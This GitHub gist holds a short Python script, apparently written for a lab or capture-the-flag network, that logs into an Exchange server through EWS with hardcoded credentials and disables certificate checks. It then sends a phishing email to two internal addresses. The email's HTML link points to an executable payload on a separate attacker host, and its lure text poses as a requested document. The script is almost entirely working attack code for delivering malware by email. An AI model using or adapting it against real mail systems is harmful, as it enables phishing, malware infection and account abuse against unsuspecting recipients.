Last active
August 20, 2025 20:45
-
-
Save fyxme/7dd838dc406c3b76ee722b89e5893d33 to your computer and use it in GitHub Desktop.
Using Python to send emails via the Outlook web interface
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# pip install exchangelib | |
from exchangelib import Configuration, Credentials, Account, Message, Mailbox, FileAttachment,DELEGATE, HTMLBody | |
import sys, json | |
# bypass SSL | |
from exchangelib.protocol import BaseProtocol, NoVerifyHTTPAdapter | |
BaseProtocol.HTTP_ADAPTER_CLS = NoVerifyHTTPAdapter | |
if __name__ == "__main__": | |
U = 'LAB\\myuser' | |
P = 'England1950' | |
malicious_payload_url = "http://10.10.14.5:8080/payload.x64.exe" | |
ews_url = 'https://10.10.10.10/EWS/Exchange.asmx' | |
ews_auth_type = 'NTLM' | |
primary_smtp_address = '[email protected]' | |
cred = Credentials(U, P) | |
config = Configuration(service_endpoint=ews_url, credentials=cred, auth_type=ews_auth_type) | |
acc = Account( | |
primary_smtp_address=primary_smtp_address, | |
config=config, autodiscover=False, | |
access_type=DELEGATE, | |
) | |
m = Message( | |
account=acc, | |
subject='Getting back to you', | |
#body= '', | |
body = HTMLBody(f'<html><body><a href="{malicious_payload_url}">Hi, this is the new doc you wanted.. Glhf</a></body></html>'), | |
to_recipients=[ | |
Mailbox(email_address='[email protected]'), | |
Mailbox(email_address='[email protected]'), | |
], | |
cc_recipients=[ | |
# Mailbox(email_address='[email protected]'), | |
], | |
#bcc_recipients=['[email protected]'] # you can use just a string list. | |
) | |
#m.attach(FileAttachment(name='C:\\Temp\\payload.txt', content='string'.encode('utf-8'))) | |
m.send() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment